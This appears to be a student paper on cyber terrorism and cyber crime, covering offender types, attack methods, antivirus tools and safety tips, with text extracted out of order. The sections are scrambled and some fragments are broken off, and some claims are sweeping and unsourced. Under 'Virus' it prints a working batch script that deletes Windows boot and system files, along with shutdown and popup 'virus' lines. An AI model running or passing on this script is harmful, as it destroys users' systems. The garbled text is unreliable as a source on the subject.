Cyber Terrorism:

Introduction:
Computers and the internet are becoming an essential part of our daily life. They are being used by individuals and societies to make their life easier. The tremendous role of computers stimulated criminals and terrorists to make it their preferred tool for attacking their targets. The internet has provided a virtual battlefield for countries having problems with each other such as Taiwan against China, Israel against Palestine, India against Pakistan, China against the US, and many other countries is becoming one of the biggest challenges to modern societies. In order to combat this type of terrorism a lot of effort should be done at the personal level, the country level, the regional level, as well as the international level to fight against this transnational type of crime.
iii. ii.

agents".

Who are cyber terrorists?

From American point of view the most dangerous terrorist group is Al-Qaeda which is considered the first enemy for the US. According to US officials data from computers seized in Afganistan indicate that the group has scouted systems that control American energy facilities, water distribution, communication systems, and other critical infrastructure.

Why do they use cyber attacks?

Cyber terrorist prefer using the cyber attack methods because of many advantages for it.
i.

It is Cheaper than traditional methods. The action is very Difficult to be tracked. They can hide their personalities and location. There are no physical barriers or check points to cross. They can do it remotely from anywhere in the world. They can use this method to attack a big number of targets.

DEFINITION:
Definition of Cyber Terrorism: The FBI defined cyber terrorism as "The premeditated, politically motivated attack against information, computer systems, computer programs, and data which result in violence against noncombatant targets by sub-national groups or clandestine
vi. v. iv.

vii.

They can affect a large number of people.

Their work is motivated by the colour of money. These kinds of hackers are mostly employed to hack the site of the rivals and get credible, reliable and valuable information 4. Discontented employees: This group include those people who have been either sacked by their employer or are dissatisfied with their employer. To avenge they normally hack the system of their employee.

CYBER CRIMINALS:
The cyber criminals constitute of various groups/ category. This division may be justified on the basis of the object that they have in their mind. The following are the category of cyber criminals: 1. Children and adolescents between the age group of 6 18 years: The simple reason for this type of delinquent behaviour pattern in children is seen mostly due to the inquisitiveness to know and explore the things. Other cognate reason may be to prove themselves to be outstanding amongst other children in their group. Further the reasons may be psychological even. 2. Organised hackers: These kinds of hackers are mostly organised together to fulfil certain objective. The reason may be to fulfil their political bias, fundamentalism, etc. The Pakistanis are said to be one of the best quality hackers in the world. They mainly target the Indian government sites with the purpose to fulfil their political objectives. Further the NASA as well as the Microsoft sites is always under attack by the hackers. 3. Professional hackers / crackers:

MODE AND MANNER OF COMMITING CYBER CRIME:

i. Unauthorized access to computer systems or networks / Hacking: This kind of offence is normally referred as hacking in the generic sense. However the framers of the information technology act 2000 have no where used this term so to avoid any confusion we would not interchangeably use the word hacking for unauthorized access as the latter has wide connotation. ii. Theft of information contained in electronic form: This includes information stored in computer hard disks, removable storage media etc. Theft may be either by appropriating the data physically or by tampering them through the virtual medium.
iii.

Email bombing:

This kind of activity refers to sending large numbers of mail to the victim, which may be an individual or a company or even mail servers there by ultimately resulting into crashing. iv. Data diddling: This kind of an attack involves altering raw data just before a computer processes it and then changing it back after the processing is completed. The electricity board faced similar problem of data diddling while the department was being computerised. v. Salami attacks: This kind of crime is normally prevalent in the financial institutions or for the purpose of committing financial crimes. An important feature of this type of offence is that the alteration is so small that it would normally go unnoticed. E.g. the Ziegler case wherein a logic bomb was introduced in the banks system, which deducted 10 cents from every account and deposited it in a particular account. vi. Denial of Service attack: The computer of the victim is flooded with more requests than it can handle which cause it to crash. Distributed Denial of Service (DDoS) attack is also a type of denial of service attack, in which the offenders are

wide in number and widespread. E.g. Amazon, Yahoo. vii. Virus: A virus is a small piece of software that piggybacks on real programs. For example, a virus might attach itself to a program such as a spreadsheet program. Each time the spreadsheet program runs, the virus runs, too, and it has the chance to reproduce (by attaching to other programs) or wreak havoc. A simple program of an original virus. Program: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini viii. Logic bombs: These are event dependent programs. This implies that these programs are created to do something only when a certain event (known as a trigger event) occurs. E.g. even some viruses may be termed logic bombs because they lie dormant all through the year

and become active only on a particular date (like the Chernobyl virus). ix. Trojan attacks: A Trojan horse is simply a computer program. The program claims to do one thing (it may claim to be a game) but instead does damage when you run it (it may erase your hard disk). Trojan horses have no way to replicate automatically. Popup virus: Program: test1=msgbox("Error message",number of times,"title of the message box") System reboot virus: Program: shutdown s t (seconds) c error message x. Internet time thefts: Normally in these kinds of thefts the Internet surfing hours of the victim are used up by another person. This is done by gaining access to the login ID and the password. E.g. Colonel Bajwas case- the Internet hours were used up by any other person. This was perhaps one of the first reported cases related to cyber crime in India. xi. Web jacking: This term is derived from the term hi jacking. In these kinds of offences the hacker gains access and control over the web site of another. He may even mutilate or change the information on the site. This may be done for

fulfilling political objectives or for money. E.g An interesting case of web jacking is that of the gold fish case. In this case the site was hacked and the information pertaining to gold fish was changed. Further a ransom of US $ 1 million was demanded. Thus web jacking is a process where by control over the site of another is made backed by some consideration for it.

CLASSIFICATION:
The subject of cyber crime may be broadly classified under the following three groups. Against Individual person: Harassment via e-mails. Cyber-stalking. Dissemination of obscene material. Defamation. Unauthorized control/access over computer system. Indecent exposure
Email spoofing

Cheating & Fraud Against Individual Property: Computer vandalism. Transmitting virus. Netrespass Unauthorized control/access over computer system. Intellectual Property crimes

 Internet time thefts Against Organization: Unauthorized control/access over computer system Possession of unauthorized information. Cyber terrorism against the government organization. Distribution of pirated software etc. Against Society at large: Pornography (basically child pornography). Polluting the youth through indecent exposure. Trafficking Financial crimes Sale of illegal articles Online gambling Forgery

viruses. Anti virus software systems detections involve searching for known malicious patterns in executable code. It is possible for a user to be infected with new viruses that have no sign or symptoms or existence.

Types of Anti virus:

Conventional Disk Scanner Memory Resident Scanners Behavior Based Detection Start up Scanners Inoculation

How It Works?
Most antivirus programs work through signature detection. The program keeps a (often updated) library of malicious programs and viruses. Whenever the software comes across a piece of suspect software, it will compare the signature on the file to its database. If it matches a piece of malicious software, the program will act accordingly. General Guidelines on Cyber Safety

Antivirus:
"Antivirus" is protective software designed to defend computer against malicious software. Malicious software or "malware" includes: viruses, Trojans, key loggers, hijackers, dialers, and other code that vandalizes or steals your computer contents.

Do not give out identifying information such as your name, home address, or telephone number in a chat room.

Do not send your photograph to any one on the net unless you know the person well enough.

Anti Virus Software:

Antivirus software is used to prevent, detect, and remove malware and other computer

Do not respond to messages or bulletin board items that are obscene, belligerent or threatening.

4. Confirm the site you are doing business with. Secure yourself against "Web-Spoofing". Do not go to websites from email links. 5. Create passwords containing at least 8 digits. They should not be dictionary words. They should combine upper and lower case characters. 6. Use different passwords for different websites. 7. Send credit card information only to secure sites. 8. Use a security program that gives you control over "Cookies" that send information back to websites. Letting all cookies in without monitoring them could be risky. Use a firewall We strongly recommend the use of some type of firewall product, such as a network appliance or a personal firewall software package. Intruders are constantly scanning home user systems for known vulnerabilities. Don't open unknown email attachments Before opening any email attachments, be sure you know the source of the attachment. The Melissa virus spread precisely because it originated from a familiar address. Malicious code might be distributed in amusing or enticing programs.

Never arrange a face-to-face meeting with someone who you have just met on the Internet. Remember, people online are not always who they seem to be.

Email Safety: If you ever get an email containing an embedded link, and a request for you to enter secret details, treat it as suspicious. Virus Warnings: Virus warnings are a very common occurrence in the mail box. Always check the story out by visiting an anti-virus site such as McAfee, Sophos or Symantec before taking any action, including forwarding them to friends and colleagues. Protect Your Personal Computer 1. Use the latest version of a good antivirus software package that allows updating from the Internet. 2. Use the latest version of the operating system, web browsers and e-mail programs. 3. Don't open e-mail attachments unless you know the source. Attachments, especially executables (those having .exe extension) can be dangerous.

For additional protection, you can disconnect your computer's network connection before opening the file. Following these steps will reduce, but not eliminate, the chance that any malicious code contained in the attachment might spread from your computer to others. Turn off your computer or disconnect from the network when not in use: Turn off your computer or disconnect its Ethernet interface when you are not using it. An intruder cannot attack your computer if it is powered off or otherwise completely disconnected from the network. Disable Java, JavaScript, and ActiveX if possible: The most significant impact of this vulnerability can be avoided by disabling all scripting languages. Turning off these

options will keep you from being vulnerable to malicious scripts. However, it will limit the interaction you can have with some web sites. Make regular backups of critical data: Keep a copy of important files on removable media such as ZIP disks or recordable CDROM disks (CD-R or CD-RW disks). Use software backup tools if available. Make a boot disk in case your computer is damaged or compromised: To aid in recovering from a security breach or hard disk failure, create a boot disk on a floppy disk, which will help when recovering a computer after such an event has occurred. Remember, however, you must create this disk before you have a security event.

Cybercrime Laws :
Many countries still dont effectively deter, stop, limit or punish cybercrime. A cybercrime is either any crime that requires the use of a computer system to complete the crime or a crime where the computer system is the target of the crime. Here are examples of a few countries with laws related to particular cybercrimes. This is not a complete list of every country with laws related to cybercrime.

CONCLUSION:
The issue of network and Internet security has become increasingly more important as more and more business and people go on-line. To avoid the information from hackers we use the passwords secretly and we change the passwords regularly. We cannot use our names, initials as passwords that are easily traced. We should not download any executable files from unknown sources, information from any sources without checking for virus. We have to use licensed anti-virus software. Also teams like CERT and FIRST assist in solving hacker attacks and to disseminate information on security.

Jemmy, Sprdes &Will, Brars Examples of Cyber Terrorism www.cs.etsu-tn.edu/gotterban/stdntppr.htm Kerr, Kothryn, "Putting cyber terrorism into context
What Is the Purpose of Antivirus Software? | eHow.com http://www.ehow.com/about_5098470_pu rpose-antivirus-software.html#ixzz1RsVGh6lf

References:
Collin, Barry C. "The Future of Cyber Terrorism"- Proceedings of 11th annual international symposium on criminal justice Issue. The University of Chicage, IL, 1996, Coleman, Keivin "Cyber Terrorism" www.directionsmap.com/article.php? article.id=432 , Oct. 10, 2003 Gillespie, Michael: "Zionist Israeli Cyber Terrorists Foiled" Sep. 6, 2002, www.sf.indymedia.org/news/2002/09/145461 .php